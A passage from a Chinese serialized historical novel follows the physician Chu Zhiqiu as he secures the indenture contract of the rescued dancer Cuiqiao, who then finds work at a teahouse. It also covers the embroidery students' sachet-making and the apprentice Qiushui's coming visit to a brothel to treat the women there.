松师兄叹了一口气说道:“莫要夸早了,师娘与王夫人也是好友呢。能让翠翘好好养伤这么久,已经是莫大的恩情了。”
秋水豁然开朗的答道:“那必然有八成机会,金娘子善解人意又开明大方,一定不会为难人的。”
松师兄摸了摸秋水的头说道:“你先去抄写药方吧,不然师父来了就要罚你了。”
秋
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水不禁打了一个寒颤,急忙去磨墨了。
松师兄皱了皱眉头,心想师娘能让王夫人不来松安馆将人带走已经是足够的善解人意了。再求,只要莫将师父赶出门就算好了。
终于等到师父来了。松师兄将食盒递与师父将事情与师父讲了一番。
师父也是皱了皱眉头说道:“不可去其他店里当个厨子吗?”
松师兄摇了摇头说道:“没有户籍证明,一般饮食店是不会要的。”
师父叹了口气说道:“你松安馆不缺帮手吗?”
松师兄说道:“师父,养活我和李杏才是刚好。再过两年,李杏若是要出嫁,这又要筹一笔高额嫁妆。这如何再添人?”
师父接过食盒叹了一口气说道:“李杏怕是不应该叫你小师父,叫声小爹爹才对。”
松师兄向师父作揖后说道:“师父你先试试师娘那儿能不能行吧。”
楚知求将食盒拿去了绣坊,金娘子见楚知求来此便问道:“今日怎来此了,楚医师有何灵药是让这大荣一个病人都没有了吗?”
楚知求略显谄媚的笑道:“今日见一家新开的糕点铺子格外精致,便想着让你也尝尝。”
楚知求将食盒打开,给金娘子递上一个雪梨糕说道:“这是雪梨糕,润嗓,你长久谈生意也是需要补一补。”
金娘子尝了尝说道:“甜而不腻,清甜爽口,味道确实不错,不知是哪里新开的铺子,可让茯苓多买一些给绣坊这些人尝尝。”
楚知求又继续递上一个茯苓白玉糕:“你正好提到了茯苓,这是茯苓白玉糕,。你也尝尝。”
金娘子轻咬了一口说道:“软糯不粘牙,入口即化。味道确实不错。”
楚知求将糕点让金娘子一一尝试了一下,皆得到了颇为不错的评价。他便问道:“如此糕点,你觉得比炊烟入云霄如何?”
金娘子警惕得看着楚知求说道:“这不是新开的店,是谁让你来这?”
楚知求笑笑道:“缕儿不必如此严肃,是药堂一位徒弟的朋友让我来碰碰运气。”
金娘子皱了皱眉说道:“味道确实可算一等,这花样还是略微逊色了些。到是可以进去做个和馅的活。”
楚知求说道:“和馅也可,此人就是秋水救治的翠翘姑娘。”
金娘子怒视楚知求说道:“那不可。”
楚知求以恳求的语气向金娘子说道:“缕儿,就当你送佛送到西。秋水才第一次行医,也不好如今就告知她。救好一个人就到此为止了啊。”
金娘子还是怒气不减的说道:“你怕向云照一样去考官吗?秋水是女子,考不了官,大不了来绣坊继续刺绣,我还后悔给你了个好苗子呢。”
楚知求见这不行便继续说道:“这女子也无什么好活计可做,都知你炊烟入云霄的大名。你也觉得她手艺不错为何不能收呢?”
金娘子更为恼火说道:“天下是只我一家收女厨了吗?不是还有七仙膳,月宫宴和万紫千红楼吗”
楚知秋说道:“这不是她也并非清白人家,无户籍证明,人家也不敢用。”
金娘子不屑说道:“我这也是不能收这种人的,炊烟入云霄又不是我一个人的。千合坊,醉音楼不在乎这些,她不是本就是家养的舞女吗,去那里当个清倌人有何不可?”
楚知求叹一口说道:“缕儿,你为何如此生气?”
金娘子哼了一声说道:“不是户籍证明吗,你去找王员外要卖身契来不就行了。你非让我这破例做什么?”
楚知求拉过金娘子的手说道:“缕儿,也不必你破例,你不是与王夫人交好吗?你让她将卖身契给你应当不是什么难事吧。”
金娘子将楚知求的手一甩开说道:“我就是气你无赖,为何我要去找牡丹?上次我已经帮过你一次了,你还要让我再去伤牡丹一次心吗?你们男人将女子当礼物送人,可想过这女子以后生死如何?是,牡丹有错,将人打了丢了出去。那王员外未必对这女子就有情了,不过也是当一般玩具罢了,他也不想为这女子出头。男人玩了,怪妻子管教不严,管教严了,怪女子心思狠毒。自己花天酒地,说自己天性如此要女子体谅。若是他妻子找个小白脸,怕是不知道要发狂成什么样子。”
男人以天生健壮之力,抢占先机。博得了学习之力,经济之权到也都罢了。居然连人性道德都要以己而定。实在是可恶至极。
楚知求楞神片刻,确也认同此言。急忙半跪移至金娘子面前说道:“缕儿,是我糊涂了。我刚想明白了,我等会就去找王员外。好好教训他一番,都怪他花天酒地惹出来的祸事。”
金娘子心中仍是愤愤不平,又转向一边不理他。
楚知求便又拿起一个糕点向金娘子喂去:“缕儿,吃个糕点消消气,是我不对,我知错了。”
金娘子又继续将脸撇了过去说道:“不吃,拿去喂狗。”
楚知求便又转到金娘子面前汪汪了两声将糕点吃了,金娘子见此一下没憋住笑,乐了出来。
楚知求便说道:“缕儿,你笑了就莫要记恨我了。糕点我拿走了,我这就去找王员外,晚上我再与你详细说说。”
金娘子仍有七分怒气得说道:“你去你的,与我说做甚。”
楚知求不敢言语,拿着糕点,向金娘子行礼后,便急忙退去。
20. 送佛何必送到西
楚之求又提着这些甜食去往了王员外家,来到王员外家门口便向门口护卫打了声招呼:“劳烦通报一声,济安堂楚之求楚医师有事求见。”
片刻过后王员外派人将楚知求请入了王宅,楚之求随着王宅的仆人踏进中堂。地板是一整块大理石铺成的,抬头一看挂了一个匾额写着“金玉堂”。匾额之下,匾额之下挂着衣服迎客松的字画。画两边挂有一副对联写有“财如晓日腾云起,利似春潮带雨来。”
王员外将楚之求请至中堂主位右侧坐下,细看一番,堂下左右两侧各摆放了四张桌几,皆为金丝楠木所制,门口两侧还摆上了两盆一丈多高的红珊瑚。
楚知求心中感慨俗,但俗得阔气。
王员外本名王伯卿,年轻时是出了名的俊朗风流,家中虽落魄。但俊朗的外表穿些破旧衣裳到是更惹的那些富家小姐怜惜。赛牡丹当年就是在元宵集会见他一面便非他不嫁了。
不过这人到中年,也是发福不少。当年的俊朗只依稀藏在五官之间了。当年穿些破旧衣裳也有几分谪仙的风度。现如今身着华服也就只看见些酒色俗气了。
“不知楚神医,今日为何来此啊?”王员外笑眯眯的向楚之求问道。
楚知求叹了一口气,皱了皱眉:“不瞒王员外,我今日是有事相求啊。”
“神医言重了,但说无妨。”
“那我就直说了,你可还记得翠翘此人?”
“有些印象,之前一位好友送的舞姬。不知怎惹恼了我家夫人,被赶了出去了。神医怎会和这些人有所关联?”
这楚知求哪来的这么多破事,这贱人若不是听说被你救了,我定要抓回来剥皮抽筋已解我心头之恨。
“那日这位翠翘姑娘被赶出去时,应该是不小心从山上失足受了重伤。被我门下一徒儿所救。如今呢这女子伤势已好的差不多了,我徒儿也甚是喜欢,所以想求员外割爱,可否将她的卖身契转与我?”
“虽人这人已被我夫人赶出去了,但这卖身契也不能说给你就给你,这毕竟也是好友所赠之人。不如你将她送回,我在劝劝夫人,在我这赏她口饭也是不难。”
快些送回让我消消气,都怪这贱人不知嚼了什么舌根,竟然让牡丹这疯子断了我财路。
“我徒儿甚是喜欢这翠翘姑娘。我今日来便是求员外割爱。我若是答应你送回,岂不是寒了我徒儿的心吗。”
“就你那个女徒弟,你买些吃食首饰哄哄不就好了?”
收个女徒存什么心思谁不知道,当自己是什么圣人呢。
“你可知道她是谁的妹妹?”
好个王伯卿,敬酒不吃吃罚酒。
“谁的妹妹,值得你楚神医来上门求我?”
多少年了,还玩这吓唬人的把戏,若是什么有名头的人的妹妹,还需你来求我?
“新上任的马军都虞候。”
王员外喝着茶呛了一口咳了几声说道:“难怪请得楚神医亲自上门,一个舞姬而已,就赠予贵徒了。”
王二这个废物,让他打听清楚事情来龙去脉,就打听了个被楚知求的女徒救了。这女徒是个什么底细也不知道去打探打探。
楚知求笑了一笑望着王员外说道:“那翠翘的卖身契可否交于我呢?”
“好说好说,我这就去取。神医先稍等片刻。”
王员外走出中堂,吩咐身边的仆人将王二叫到书房。自己去向书房取了卖身契,王二也刚好到了。
那人向王员外行了礼,谄媚得问向王员外:“郎君唤小人何事?”
王员外向那人打了一耳光后说道:“自己去领三十鞭,以后做事给我仔细一点,干净一点。”
那人懵了片刻,直直的站着,呆愣的答了声:“是。”
这翠翘真是个不详之物,平白给我添了这么些乱子。还不如牡丹这疯婆子最开始给打死了好。
王员外走至中堂门口,收了脸上的怒气,又恢复和善的笑容对楚知求说道:“神医要的东西我拿来了,请过目。”
楚知求接过说道:“多谢王员外了,这盒点心是翠翘姑娘所做,就留予员外品尝了。”
“神医慢走。”
王员外甚是愤恨,待楚知求走后,便让人将这些点心拿去喂狗了。倒是可惜了翠翘的手艺。
楚知求便回了济安堂将卖身契给了李松,又检查了一番秋水抄写的药方后就回了楚宅。路过翠玉阁又买了一个白玉手镯。听茯苓说楚云照今日在家,就又想着与云照说几句话。
进入云照书房,看云照在写着东西,便咳了两声问道:“云照啊,今日怎么没出去和那些学子吟诗作对?”
“今日想在家中看些书,舅舅今日怎么回来这么早。”
楚知求叹了一口气说道:“麻烦啊,秋水上次救得那人好的差不多了,李松那儿说收留不下,你舅妈也不要。不知该如何啊。”
楚云照说道:“这我今日也收到了秋水送来的信上写了此事,我也正在回信呢。”
楚知求听此思考片刻问道:“信上写了些什么,可否与我说说。”
楚云照将信递与楚知求说道:“她问我之前除她之外还救过何人,医馆中常有这种捡到人的事吗?救治好了之后那人无路可去寻死当如何?这是否算未能救治?”
楚之求叹了一口气说道:“就担心她心性不定,胡思乱想了钻牛角尖。这一看果真如此。成第二个你还好,大不了去绣坊继续绣花。若是第二个武珏出了家更是烦心。你打算如何回她?”
“我与她说,济安堂也不是天天在路边找病患的。我只偶遇了她一人而已。我当时救她也未想过会到济安堂学医,当时只觉不忍心见其倒在街头。她也不必何必执念于今后翠翘的路途,救她于今日,知她今日安好,便好。她之明日,且看明日之造化。为何要为她明日之灾祸,放弃她之今日呢?”
楚知求点点头:“说得有理,明日之灾祸无关今日之福荫。送佛不必送到西,能送一程就一程。希望她确实能领悟此道。她学得太快了,能力大于心态成长,属实让人担忧。”
“舅舅,你且放心。我觉得她也只是一时迷茫,她看起来是个豁达之人,不会如武珏师叔一般执拗。”
楚知求叹了一口气说道:“豁达之人到未必不执拗。”
“舅舅还是莫要太过担心,她与李松交好,李松又是一机智灵敏之人。秋水定不会误入歧途的。”
楚知求叹了一口气说道:“她也与百生交好。”
楚云照思索了一番说道:“安师弟性格耿直,也不会陷入此等困境。他只觉得自己
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尽力将人医治了就行,所以也无甚影响。”
楚知求点点头:“你到是想得明白。”
“所以还望舅舅不必担心,顺其自然便好。”
楚知求又问道:“那你如此聪慧,在替舅舅考虑一番。这翠翘松安馆放不下,你舅妈那儿不收,该如何安排她呢?”
“这需要舞姬的地方倒是许多,但将人送去也与送回王员外处差不多了吧。”
“这人厨艺不错,可惜我将她糕点送去王员外处了,不然给你尝尝。你舅妈尝了也说可以进炊烟上云霄和馅。”
“远志倒在苦恼去南州赴任吃食不习惯该当如何。她若愿意当个厨娘又愿意跟随去南州,我可去问过远志能否接受。”
“远志,庞远志?他不是与你同期的举子吗,不考会试了,怎得要去赴任了?”
“他说他既是乡试最后一名,就不必参与会试了。正好有大选便去试了一试,得了个南州三水县县丞。”
楚知求摇了摇头说道:“这不行,远志不容易得个官名。带个来历不详的美貌女子上任,怕是颇为引人注意,此招不可取。”
“醉音楼尝被人说点心不够雅致,她可前去应聘一番。此楼掌柜南驭音颇有江湖侠义,必不会欺负她。背后又有高人撑腰,也无人敢找麻烦,若是能应聘得上,不失为一个好出路”
“这到是可行,那需多雅致?”
“这需得看如何去说,我倒不懂这里面的门路。你可以去求求舅妈,要上几个炊烟上云霄不用的较为简单的点子。在练习几日,就可去试上一试。”
“好外甥,舅舅没白疼你。”
楚知求在家中等至金娘子回来,便急忙道歉又送上手镯。金娘子还略做生气得推脱了一番。而后楚知求将今日如何与王员外要回翠翘的卖身契说于金娘子听,听过这些,金娘子才和颜悦色得收下了手镯。
见金娘子收下手镯,楚知求便又继续说道:“今日听你说醉音坊到是不错,听说他们缺些雅致的糕点,我觉得可让翠翘去试试,不知你觉得她今日这糕点是否可行?”
金娘子皱了皱眉,思考了一番说道:“那雪梨小方到是不错,其他不行,太过普通。若想雅致,要不是配上一个故事,要不就是制作精细。故事不太好写,精细反倒方便,我明日取了柿子糕和核桃糕的做法给你。她能学会就可去试试了。”
楚知求疑惑问道:“这柿子糕与核桃糕听着与雅致好像并无关系?”
金娘子笑了一笑道:“当然不是普通的柿子糕与核桃糕,是用面皮做成与真柿子与真核桃相差无区别的糕点,内用柿子与核桃为主再配以蜂蜜油酥所制的馅料。看起来只觉是普通水果,近看细尝起来才会惊讶于这竟是糕点。”
楚知求又问道:“如此高超的手艺,缕儿你竟愿意教授于别人,真是菩萨心肠。”
初创此糕点者,得是有几多闲?
金娘子不屑说道:“炊烟上云霄承接的都是些聚会宴席。此等糕点不够震撼,要等尝过才知厉害。那群文人雅客大多脾气古怪,一般又不觉得惊叹,只觉得被愚弄了。这类糕点完全不合这种场景,浪费手艺了。给茶馆酒肆到不错。”
楚知求更发惊叹的看着金娘子说道:“多谢缕儿不吝赐教了,娘子如此胸襟,我自愧不如。”
21. 今日不为明日忧
翠翘拿着金娘子所赠的食谱,尝试了一个多月后,去了醉音坊。南驭音尝了一番做的吃食表示很满意,心中有几分疑惑便提出要看看翠翘的手。
翠翘将手伸出,南驭音手拿扇子敲打翠翘的手让其手心手背都展示一番后说道:“白玉柔夷,润如羊脂。如此好手艺,手上怎没有几分痕迹?”
翠翘虽心中紧张,但故作镇静的说道:“不瞒南坊主,我不常做这些,但我想以后能留下。”
南驭音说道:“我不要求你有什么证明的物件,但我醉音坊也不想要有所隐瞒的人。若你觉得可与醉音坊各位都交上朋友。你就将你因何来此说明即可留下,不愿意那你只能告辞了。”
翠翘思考了片刻后便将自己因何而来告知了南驭音,南驭音听过后说道:“既然如此,你看看后方鼓台上的女子,你觉得你的舞比她如何?”
翠翘随着南驭音的视线转身,向大厅之间一面大鼓样式的舞台看去,一身穿黄衣的身姿婀娜女子正跳着柘枝舞。舞步随着乐声像一朵朵花似的绽开又闭合。扭动的腰如春日里的柳枝,腰间的佩带的铃铛如树叶风来时树叶的相撞声,水袖随着身体的摆动向外流出又一个摆尾回到舞着手中。
翠翘欣赏一番后说道:“舞姿轻盈如春燕展翅,水袖挥舞如月光流淌。我比不过她。”
南驭音说道:“你最为擅长什么舞?”
翠翘略显惊恐的说道:“我是来应聘厨娘的,不是用来应聘舞姬的。”
南驭音笑了一笑道:“你已经被取用了,我只是想看看你的舞蹈功底。现在白日里也没有什么客人,你可否去试上一试?”
翠翘思考了片刻说道:“可以,我善绿腰。”
南驭音看向身旁的侍女说道:“花月,带翠翘姑娘去换身衣裳。”
翠翘跟着花月换了一件绿色水袖舞衣。随着音乐舞了起来。先前在台上跳舞的那位舞者退到了南驭音的身旁。
舞蹈过半,南驭音问先前那位舞者说道:“你觉得此人比你如何?”
那人思考片刻后说到:“不相上下,但她舞姿虽美,脸上确无喜悦之情,大概是已经不愿意在跳了吧。”
南驭音挥了挥扇子说道:“确实如此。”
一曲停,翠翘下台走至南驭音面前,南驭音说:“我给你两份月钱,一份是厨娘的费用,一份是舞蹈教习的费用,你来教醉音坊的新人舞蹈。你可愿意?”
翠翘答道:“多谢坊主,我愿意。”
南驭音说道:“花月,你先去给翠翘姑娘预先领一个月工钱。收拾一番,三日后便来我醉音坊吧。”
翠翘万分惊喜,心想南驭音果真侠义。
翠翘在回去路上给李杏秋水各买了一个珠翠发簪,给李松买了一沓好纸,不知给安百生买些什么,思考许久,最后在一木刻店选了个吉祥如意的福禄寿摆件。第二日托李松将安百生的秋水的送了过去。
秋水拿到发簪甚是高兴,好像这个发簪划开了她心中久积的浓雾。同日回到绣坊也取到了云照给她送的信,看过之后,她想是啊,为何非要因为以后而不管现在呢?
祁多儿见秋水莫名其妙拿着一封信和一个簪子在一边傻乐,便悄悄的走至秋水身后,将秋水手中书信一抽藏到身后对秋水说道:“谁家小郎君写的情书呀,我可不可以也看看啊?”
秋水戚了一声说道:“你才多大啊,怎么就想是小郎君了呢?莫不是你在想谁家哥哥,你要看那便看吧。”
祁多儿满心狐疑,莫不是秋水在哄骗她。秋水见她呆愣的样子继续笑着说道:“我巴不得你看呢。”
祁多儿还是怀疑,就说:“那我可真看了哟。”
秋水哼了一声说道:“那你可别不敢看。”
祁多儿半信半疑的将信拿于身前,秋水见了便想去抢,祁多儿一个转身又躲了过去。
祁多儿望着秋水笑嘻嘻的说:“哈哈,我就知道。”
秋水哼了一声说道:“算你厉害。你看吧,是云照哥哥给我寄的信,之前在愁翠翘姐姐以后怎么办,我是不是在松师兄添了麻烦。就写了一封信给他,这就是他的回信。”
祁多儿笑了一笑说道:“那你云照哥哥给了翠翘姐姐什么安排?”
秋水说道:“翠翘姐姐学了金娘子给的菜谱去醉音坊应聘上了,云照哥哥只是说让我不必因为今后之事而影响今日的判断。”
祁多儿听得有些糊涂,便将信拿了起来看,只见上面写着“若因不知她今后去处,便觉得前日救人是否太过多事的话。那这天下岂不是无需医者了?天下众生皆有死之日,早晚又有何干系。救她于今日,知她今日安好,便好。她之明日,且看明日之造化。为何要为她明日之灾祸,放弃她之今日呢?济安堂也并非天天在街上寻人救治的,我那日救你也不过是一个巧合。当时也未想过你今后会来济安堂学医。松安馆并非李松私宅,原是济安堂别院。有些伤重或特殊病情者都会送去松安馆,无须为此愧疚。祝秋水师妹,平安顺意。”
祁多儿假意叹了一口气说道:“原以为是些情话,这到是浪费我一番子力气了。不过你这许多忧愁不问师父,也不问天天与你一起的安师兄,也不问与你关系甚好的松师兄。怎得要写封信问你云照哥哥?”
秋水戚了祁多儿一声说道:“你说你自诩有不逊男子之才,又说自己要畅学古今著作。怎的不去研究春秋,到在我身上说起风月来了。你羞不羞?”
祁多儿笑了几声说道:“谁道春秋无风月?秋日正是赏月时。你到是莫用歪理来羞我,你若是不想答那我就不问了。”
秋水一时语噎,忍冬见此说道:“你们先莫吵了,我给你们缝制的香囊绣好了,你们来挑一挑。”
原先本是说,木忍冬给贺得宝绣,得宝又给祁多儿绣,祁多儿给秋水,秋水给忍冬。但大家都觉得忍冬绣的最为好看,便都要忍冬的了。最后便是忍冬一人绣四个。让秋水去配香料。祁多儿和贺得宝在做些别的。
四个香囊都是蓝底圆形制,绣的双
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圈花样,外圈都是一致的如意纹圈边,内圈分别为梅花纹,宝相花纹,莲花纹还有一个是未缝制起来的空圈。
贺得宝问道:“这一个为何没绣完?”
忍冬拿起看向秋水说道:“这个是留给秋水的,听说秋水当日是被金娘子一眼看中进了绣坊的,我想让秋水为我设计一个花样绣出来。秋水是否愿意?”
秋水接过思考了片刻说道:“正好明日休沐日了,待我回来将绣好的给你。”
忍冬点点头继续说道:“那你们挑选一下这三个吧。”
多儿看了眼香囊说道:“那既然秋水既要配香料,又要绣花。那秋水先选吧。”
秋水摇了摇头说道:“得宝年纪最小,最先选吧”
得宝看了一眼秋水,又看了看多儿和忍冬说道:“那我就先选啦,我喜欢这个宝相花纹,最为鲜艳好看。而且宝相花纹又由莲花和梅花等一些花纹所来。选宝相花,相当于其他两种花也都有了。”
祁多儿笑了笑:“就你聪明,那秋水选吧。”
秋水看了看剩下的莲花纹与梅花纹,思考了片刻说道:“我选莲花纹吧。”
祁多儿拿过剩下的梅花纹说道:“恰好,我喜欢这个梅花。霜中能作花,雾中能作实。不得不说,我差忍冬的绣工不是一星半点,我只是勉强算得精巧,但忍冬你的实属天工之作。”
木忍冬叹了一口气说道:“我是只会刺绣,一心专研此所以才略胜你们。你最喜的还是读书,得宝呢不过是在绣坊学习,在过几年便回家去了。若你们都一心刺绣了,那我实在是不够看了。”
祁多儿摇摇头说道:“我若专心刺绣,怕是不如你这点是更为明显了。”
得宝叹了一口气道:“这大家都各有所喜爱的刚好少了些争执,何必为些假设再去争论呢。”
秋水笑了笑,捏着得宝的脸说道:“还是我们得宝畅快哈哈哈哈。”
祁多儿附和道:“确实如此,天天小糊涂,事事到不糊涂。”
忍冬听得宝这番话,也是笑了一笑,心想确实自己想得太多。不该如此多想这些可能,早知给自己绣了,何必去试秋水那个手艺,她也多年未刺绣了,能得什么结果呢。不过都已经说出口了,还是等秋水的香囊吧。
秋水思考了半宿,见大家的都是团形花纹,便选了忍冬纹给她。主要是因为她的名字,还有也觉得忍冬也如忍冬一般凌冬不凋,岁寒犹坚。
她们大多时间都在一起,又不好选些相斥的药物,秋水便都选了些普通的花,只做熏衣添香使用。
祁多儿喜欢淡香,便用玫瑰、茉莉、桂花、薰衣草等比制的安神淡香。
贺得宝喜欢浓香便选了多量薰衣草配上一些桂花、迷迭香的安神浓香。
忍冬倒说自己不调想问,但是怕虫,便用薄荷、艾叶、陈皮、薰衣草、丁香做了驱虫香。
秋水自己倒是闻药多了,不喜香囊了,就抓了一些陈皮放在香囊里,添个味,或是平时含一片解解闷。
22. 祁多儿得名童子科
秋水百无聊赖的在院中磨着药,回想着昨日回家的事情。爹娘在催着大哥考虑终身大事。大哥却不回应,说可以先让二哥娶亲。二哥便笑着答道如果爹娘能找个如意儿媳,我倒是不介意先娶了,让爹娘开心一阵。
二哥倒是说的话不稀奇,反正天天没正形不奇怪了。倒是大哥不如往常,不是不愿意娶亲而是听到娶亲有几分难过。应该是有意中人但是没有办法在一起。可大哥常年在军中,家中又无旧相识,莫不是断袖吧。
秋水被自己的想法吓得摇了摇头,又继续在磨着药。
马凌云看秋水如此呆愣,觉得好笑,便问道:“师姐,你这是鬼上身吗?”
秋水一个白眼翻去后说道:“呸,你才鬼上身。”
马凌云笑着说道:“你这一会子笑,一会子叹气摇头的。很难不去想你是不是鬼上身啊。”
秋水哼一声说道:“那是你的思维太过贫瘠。”
马凌云继续笑着说道:“那你说说你有什么忧愁,说不定我能帮上忙呢。”
秋水眼睛一亮,笑着望着马凌云道:“不如你说你的字练得怎么样了?我有好些书籍要抄写,正愁没人帮呢。”
马凌云面色一沉道:“我还想师姐有空了替我抄书呢,早知道带个书童来了,这几年倒是没给人看几回病,净是挨训和抄书了。我当年以为送我来是觉得我聪明呢,原来是因为我脾气好。换我其他兄弟,早气冲冲回家了。”
秋水听他这番话后,一下子笑了出来。
“话说你一个大理的富家公子,虽说可能比不得中原地区吧,但至少也是饭来张口,衣来伸手的生活吧。为何要来此吃学医的苦啊。”
“狗眼看人低了吧,你大荣的马匹刀剑,还有济安堂大部分珍贵药材可都是我大理特有。你这中原地区比我大理说文化久远,我还可以勉强承认。财富,我劝你慎言。”
“好,我失言了。那马大公子,你为何要抛下你显贵的生活,来这吃学医的苦。”
“哎,我不知道。”
秋水听的一时语噎,反问道:“你不知道?”
马凌云沉思片刻说道:“我爹让我来的,我不自然只能来了。而且我又不是大公子,我是三公子。”
秋水思考了一下,哦了一声说道:“你排行老三,没有家产,所以你爹让你学门手艺,再给你投些钱自立门户是吧。”
马凌云佯装失落得点点头说道:“果然中原人聪明啊。”
秋水安慰马凌云道:“你别难过,你人聪明,学到师父那个地步后。即使是开医馆也一定会胜过你父亲的家产的。”
马凌云憋着笑说道:“这到是有些难,别说我了,你说说你为什么一会叹气,一会摇头。”
秋水又叹了一口气说道:“这到是难说,算了你还是别打听了。”
马凌云叹了一口气说:“还是不信我啊。”
秋水便说道:“你天天和松师兄似得,满口胡话,谁敢信啊。”
马凌云正要回怼,只听院门口穿来松师兄的声音说道:“我怎得满口胡话了?小师妹为何要背地说我坏话啊。”
秋水抬头向院口看去,只见松师兄与师父一前一后进来院中,师父表情严肃,松师兄倒是一脸怪笑的看着秋水。
秋水戚了一声说道:“师兄有没有,自己不知道吗?还需要师妹再重复一次?”
松师兄摇了摇头说道:“师妹伶牙俐齿,我怎敢在你面前胡说。”
楚知求咳了一声说道:“等会再打情骂俏,我先说句话。明日起秋水和凌云就随松师兄一起外出会诊。秋水需换男装,衣服我已与金娘子说了,应该今日你回去就能看见了。”
秋水不解得问道:“为何要着男装。”
楚知求叹气道:“避免些麻烦。你不必担心,田教习擅长的,她会给你弄好的。”
秋水点点头回答道:“我知道了,那我们明日去哪里呢?”
楚知求皱了皱眉头说道:“逍遥馆。”
马凌云眉头一皱说道:“小师姐能去这地方吗?”
秋水见马凌云如此说,一气之下说道:“你能去得,我为何去不得?”
楚知求面带三分怒气,三分审视,四分玩笑的看着马凌云说道:“凌云,你先说说为何秋水不能去啊?你怎么知道逍遥馆的?”
马凌云讪讪说道:“听说听说。”
之前乔叔来此有笔生意,乔叔的儿子乔二哥就将我带去逍遥馆。就一欢场,其中女子也都不算好看,见人就往上扑,吓得我说了几句话就跑了。不知为何要我三人一起去这地方,我倒是无所谓,躲着些就好,小师姐能接受吗?
楚知求摸了摸胡子说道:“你倒是听说得多,逍遥馆是青楼。你们明日去辅助松师兄给那里的女子做些问诊的活。”
秋水疑惑的点点头,觉得有些说不出的奇怪。
李松也是无奈,原先只是李松一人前去。莫名这次要带上秋水和马凌云,凌云到是因为会写拳脚工夫,所以让其一同前去。
本与师父商量只带例严重的病人去松安馆,让秋水看看例子就好了。可师父觉得不看正常的也不行,而且如果没有人得病,或着极其严重的让秋水去看,怕吓着她。
所以最后便说,凌云会些拳脚,让其护着些秋水,再带两护卫跟着。先由李松查探病情,再让凌云和秋水记录。
楚知求看着马凌云说道:“你先随我来,我与你说些事。”
马凌云心中一寒,心想绝对完了。一个劲的琢磨自己最近做错了什么事,但也只得强装镇静得说道:“是,师父。”
秋水见马凌云和师父出了院子,便看向松师兄说道:“我们为何要去青楼给人诊病?”
松师兄反问道:“你是疑惑我们为何要去那边诊病,为什么她们不来?还是认为我们不该给她们诊病,无论是她们来还是不来?”
秋水一愣神,倒也没想到松师兄如此反问。于是生气答道:“当然是问她们为何不来,难道还有人不配被治病吗?”
李松舒了一口气,向秋水微微鞠躬行礼后说道:“是我看低你了,师兄向你道歉。”
秋水更是不解说道:“你怎的今日如此客气,我没生气,我只是不解。还请师兄详细告知。”
李松叹了一口气说道:“此事说来话长,我先问你,你之前不也好奇我为何一般不出诊,除非有人点我名。”
秋水点点头。
李松继续说道:“济安堂原先有两部分,一个就是现在我们所在的济安堂,就是普通的比较知名的医馆。还一个就是济安堂坤堂,也就是现在的松安馆。松安馆主要经营一些不太能见得人的问诊。这个逍遥馆的问诊就是其
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一。逍遥馆的老板与师父订了年制赌约,大概就是这一年我们所救治的人产生的花销,与这个活下来之后所赚的钱相比较。如果赚得比花得多,那我们一直将这个模式进行下去。如果少,这个赌约就立马停止。今后逍遥馆中有人得病的人就随缘了。”
秋水说道:“那这个赌约就是只为了救治逍遥馆的人啊,师父怎么让他们立下的?”
李松摇摇头说道:“这是之前的一位师叔和他们打赌赢下的,之前逍遥馆不过是个不入流的脏地方,倒是因为这个赌约,让它如今成了一流青楼了。”
秋水皱了皱眉头说道:“是因为虽然让得病的人得到救治了。但逍遥馆的名头打响了,越发吸引客人,就做大了。就导致他们需要更多歌姬舞姬,反而让他们伤害的人更多了是吗?”
李松点点头。
秋水说道:“可在无法将青楼取消的情况下,能救治不是已经是很好了吗?”
李松不敢点头,也不敢直说,因为之前有好些姑娘跪求李松不要救治,给她们一些痛快的毒药就好了。思考了片刻后说道:“明日后,你见到了就知道了。”
秋水又继续问道:“那你为何一般不出诊呢?”
李松无奈一笑说道:“我还以为你知道呢,因为有些蛮横的会觉得去逍遥馆问诊的人给他们诊病会觉得脏,所以为了避免麻烦,所以我就不出诊了。”
秋水有感觉眼中有些酸楚,眼泪不自觉的掉了下来。
李松忙俯低身子,拿个手帕给秋水擦眼泪,问道:“这是怎么了,怎么突然哭了。”
没问之前还只是掉着眼泪,听了这一问后,秋水哭出了声,抽泣的说:“我不想不能出诊,但是我不想不救逍遥馆的人。”
李松叹了一口气说道:“放心啦,松安馆还有我和李杏呢。你明日男装名字是许禾,逍遥馆和你许秋水没有关系。是许禾去明白吗?”
秋水擦了擦眼泪,问道:“这样可行吗?还有凌云呢,他愿意吗?”
“他再过几年,就要回大理的,去哪里都无所谓的。”
至于可行不可行,李松倒是真不知道,只是师父让这么哄着。
“怎么哭得跟个小花猫似的?”
秋水和李松寻声望去,只见一英俊男子,眉如远山眼如星。头戴金山石松枝发冠,身穿灰蓝色肩膀处绣竹圆领袍,腰间系上一条玉石革带,感觉四分书卷气混着六分侠气。脸上带着柔和的笑意望着秋水。
秋水一时惊讶,只觉好生熟悉,确一时未想起来是谁。倒是李松反应快速说道:“大师兄,别来无恙。”
秋水听了这话,脑中好像发出了叮得一声。一瞬间喜悦冲散了惊讶,秋水连忙跑至那人面前喊道:“云照哥哥,你怎么来了?”
楚云照摸了摸秋水的头说道:“不过大半年没见,已经是不认得人了。你倒是长高不少。”
秋水嘻嘻的笑了一笑说道:“一时间没反应过来,不过你还未说,你怎么来了?”
楚云照笑着说道:“舅舅呢?等舅舅来了一起说。”
“我来了,说吧。”
楚知求不知何时也来到了院中。
楚云照向楚之求行了一个叉手礼后说道:“绣坊的祁多儿得了童子科上等,舅妈让你们打烊了都去天香楼吃饭。秋水先与我一同先回绣坊收拾打扮一番。”
23. 金娘子大喜宴宾客
楚云照让车夫赶快一些,避开了市集街道,一路疾驰到了绣坊。
孙管家见马车过来了急忙迎了上去,云照跳下马车后从一旁取了梯子,让秋水走了下来。
孙管家拉过秋水的手,望着楚云照说道:“辛苦小郎君跑这一趟了。”
楚云照向孙管家行了一个礼说道:“人我已经送到了,我就先去天香楼迎宾客了。”
孙管家点点头说道:“小郎君快些去吧。”
孙管家拉着秋水就往学堂走,只见学堂中的座椅都被撤了。好几位师姐围着祁多儿在改着衣服。忍冬和得宝贝身旁也有几位师姐在为她们梳理着头发。
金娘子看见秋水来了便让几位师姐给秋水换衣:“看看是否合身,若不合身赶紧改改。”
一位师姐将秋水带到一旁,几位师姐给她拉起来了一个帘子,递给她一身淡黄色红色封边圆领袍,前胸绣上了一副锦鸡牡丹松,袖口脖领处绣了些云凤纹。一旁的师姐又给她腰上系上一条红色镶嵌革带。
金娘子看了看秋水点了点头,又让秋水转了一圈说道:“不错,大小刚合适。快些给她梳妆一番。”
“金娘子先稍等一些时间,我这马上就好。”
